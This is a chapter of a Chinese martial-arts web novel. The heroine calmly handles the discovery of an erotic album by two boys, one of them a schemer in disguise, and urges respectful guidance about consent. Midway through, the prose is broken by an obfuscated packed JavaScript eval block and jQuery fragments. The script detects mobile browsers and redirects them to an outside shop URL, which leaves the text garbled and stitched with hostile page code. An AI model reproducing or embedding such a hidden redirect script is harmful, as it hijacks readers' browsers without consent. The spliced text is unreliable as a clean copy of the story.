在朱八还未帮王怜花去同李妙清商议同行这件事时,房门被敲响了,一道声音从外头传了进来。
“令梦,我进来了。”敲门的是李妙清,接着就听到轻轻的推门声,而听到这个声音的王怜花和朱八稍显一愣,随后就看到李妙清推门进入,手里端着碗今晚该喝的药。
看到朱八也在柴令梦房内,李妙清微讶:“小八,你也在啊。”
朱八讪笑:“是啊,我有事找令梦哥哥。”
李妙清点头,没有多问,如朱八这个年纪的孩子来找没大几岁的柴令梦的确很合理。
放下药碗,李妙清道:“令梦,别温书了,把药喝了,早些休息。”
提及温书,王怜花这才反应过来一件事,那就是朱八这小鬼刚才给了他一本《避火图》,如今这绘本还在他手里。
朱八此刻已忘记这件事了,他扭头道:“对啊,别看了,咱们先喝药……”口吻带了一丝殷勤,他刚才让柴令梦难受伤心了,现下希望弥补,可他才扭头脸色就变得尴尬起来,因为他也看到了柴令梦手里那本《避火图》。
瞳孔地震,朱八伸手去抢《避火图》,他的想法是把这本绘本丢到一边去,岂料他不抢还好,一抢绘本直接飞出去,落在了地上,而翻开的那一页鲜明的男女正搂抱在一起。
李妙清一低头就看到了落在地上的《避火图》以及被翻开的一页,她愣了一下。
静寂在房中蔓延。
朱八现在想跑,但好像往哪里都不能跑,于是他干了一件让王怜花都无语的事,那就是直接跳上床,把被子蒙到头上,假装自己不在的举动。
王怜花:“……”好像一个傻子。
捏了捏眉心,王怜花一时间也不知道该怎么面对李妙清,明明以往他毫不在意,要知道他脸皮甚厚,可此时此刻以柴令梦的人设的确要表现出尴尬和不知所措。
莫名其妙要开始演一波了。
但他更想知道李妙清会有何反应?若是朱七七一定跳起来,羞燥的骂起来,什么混蛋,什么淫|贼,什么不要脸,反正那姑娘定是不依不挠的。
李妙清知道这是什么,记得成亲的时候,李母就给她塞过一本,叫什么《避火图》,实际上就是《春|宫图》。这个时代的人性|知识匮乏,许多少男少女到结婚这一天都不知道“性”为何物。因此,好多父母在女儿出嫁之前买上几卷作为嫁妆,由女儿结婚这日带到丈夫家,到了晚上,小夫妻就可以按照图画,照葫芦画瓢就行了。但这大多都是普通人家的方式,若是富贵人家的公子,好像是有人专门的人在他们成年后指导他们的。
没人指导,自然就指着这些图了,可惜这东西真的要看两人的相性程度了,不是所有人都是可行性很高的,比如她和李之礼就是反面教材,可行性不高。
弯腰将《避火图》捡起来,然后她随意翻了几页,发现这本和当年李母给的那本不太一样,看来这东西果然不止一本,上面绘画内容也不止那些,应该很多吧?但没什么兴趣。
翻了几页就把《避火图》合上了,然后她神色平静地看向了王怜花:“谁的?”
王怜花故意垂下头不语,而朱八已经把自己埋在被子里了。
看着他们俩,李妙清在心里轻叹一声,虽然有些震惊吧,在她看来,无论是朱八还是柴令梦,俩都是孩子。可目前看来,他们大概也不能只是孩子,最起码古代人结婚都早,这方面教育的确是需要的。
“别躲了,我又没打算怪你们。”李妙清知道他们这副模样是怕她责怪,可这是人之常情有什么好责怪的?“性”|教育如果不好好引导,以后变成死|变态那才真的要出事的。
听了李妙清的话,朱八将自己的小脑袋从被子里探出来:“阿姐,你,你真的不会责,责怪我们?”
同时,王怜花也抬头了,眼神里带着一丝忐忑。
李妙清被他们俩的表情逗笑了,她把《避火图》放到一边的桌上,道:“这是人之常情,有什么好责怪你们的,倒是你们怎么忽然间对这个感兴趣了?”
她的话倒是把王怜花很诧异,她太平静了,就好像这本《避火图》是本在寻常不过的食谱,无需羞愧,也无需害臊?为什么她是这样的反应?王怜花心里产生了一丝困惑,难道她本身是个“放荡”的女子?可她明明也不是,为何?一般像她这么不在意的,寻常人见之只会将她归类于“放荡”女子一类的,可她偏是个坦荡的,眼神清明,不掺杂任何东西。
这世上怎么会有这样的?明明不该存在的。
掀开被子,朱八钻出来,回答:“好奇。”
李妙清点头:“看了后呢?”
朱八一愣,倒是没想到李妙清会这么问,他脸一红,不知所措。
李妙清见朱八不敢回答,便看向了王怜花:“你呢?”
王怜花愣了下,然后嘴唇嗫嚅了几下,无一字回答出来。
见他们俩都不回答,李妙清也没继续追问,只当是害羞,然后她语重心长道:“这东西可以看,但是你们要记住,不能为了模仿上面的行为,去做出任何违背妇女意志的行为。你们俩年纪还小,需要一个成年人给你们正确的引导才行,等范公子回来了我会和他聊聊,届时让他教你们俩。”
朱八:“啊?”这还能教的吗?朱八很震惊。
王怜花:“……?”教什么?这上头的动作他都试过了,范汾阳估计都没他厉害。
院里有动静,是范汾阳和朱五归来,李妙清转身:“令梦,将药喝了。”说着,就先离开了房间,直接去了楼下。
听到二楼动静,归来的范汾阳和朱五齐齐抬头就看到李妙清从王怜花房内走了出来,然后她径直朝楼下来了。
“李夫人。”范汾阳上前:“这么晚了,还未休息?”
李妙清淡淡看着他,然后又扫了眼朱五,觉得《避火图》的事应当现在讲了,让他们俩上楼去和那俩孩子好好聊聊。
“范公子。”她说:“有件事需劳烦你和朱五公子……”她淡淡说了刚才的事,然后就见范汾阳脸一红,而朱五流露出一丝尴尬,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967642|192360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人的表情都非常精彩,显得一脸平静的李妙清很像一个怪人。
但她真没觉得看这种事哪里不对,可能因为她自始至终都一直带着现代思维。
轻咳一声,范汾阳道:“在,在下知道了,抱歉,小八那孩子唐,唐突夫人您了。”
朱五也连连道歉,替朱八。
可李妙清认为这件事无需道歉:“不需要道歉,他年纪尚小,未曾经历自是好奇的,你们作为他的长辈,需要做的便是良好的指引,看这些不可耻,他终归要长大,日后也要娶妻生子的,真正该重视的是他看了这个,日后因好奇去做出违背妇女意志,或是伤害无辜之人的举止。我是女子,很多事我没有办法去指导,所以只能劳烦二位了,但不要苛责,无论是小八,还是令梦,他们需要的是良好的引导者,而非责怪者,而且令梦经受过那些不好的事,所以在措辞上面需要委婉些。”
李妙清的平静反而显得范汾阳大惊小怪了,他头一次发现眼前这个女子或许并不似过往所遇的。
她,有些不太一样。
“知晓了,范某会好好和他们聊聊的。”说着,范汾阳冲朱五使了个眼色,然后两人准备上楼去。
“若是令梦药未吃,劳烦范公子多嘱咐一句。”蓦地,李妙清补了一句。
范汾阳点点头,便和朱五一起上二楼寻朱八和王怜花去了。
两人上去后,李妙清去了厨房,她其实有些饿了,给自己煮了一个鸡蛋后,剥开鸡蛋壳,安静地在厨房里吃了一个蛋。吃完从厨房出来,看到王怜花那间房还亮着灯,就知道他们还有的聊。打了个哈欠,李妙清伸了个大大的懒腰后,决定回房睡觉去。
至于柴令梦的去处,明早说也是一样的。
上楼,回房,关灯,一气呵成。
不多时,朱五和范汾阳从王怜花房内走了出来,他们俩站在门外,看着坐在里头脸红得和猪肺没什么两样以及有些淡定,但耳根也在微微泛红的王怜花,说道:“别再想了,早些休息,还有小八的提议,我和你五哥答应,但这事你们俩必须明日和李夫人也要好好聊聊,明白吗?”
朱八猛点头。
王怜花乖巧应道:“谢谢。”声音轻如蚊虫,但的确符合柴令梦的人设。
待两人离开房门后,王怜花耳根的红晕褪去,他恢复了冷静,比起脸红如猪肺的朱八,他没心情装了。
这范汾阳倒是好说话,还有那朱五,竟然真的答应他同行,明日需要再装装可怜了,想必李妙清定会答应他同行。届时,到达朱家堡,行事就更加方便了。
想到这里,王怜花嘴角边的弯弧抑制不住往上勾了勾,但很快就压抑住了,比起这个,他需得离开前,给自己母亲那边传递好消息,并安排好一切事宜。
至于朱七七……
白飞飞势必不会对她做什么的,只要朱七七安分点就行,不过若是沈浪发现了什么,将其救走倒也不难,就看他们俩目前是否能够安然了。
江湖之言,是利刃,会将一个人狠狠撕碎。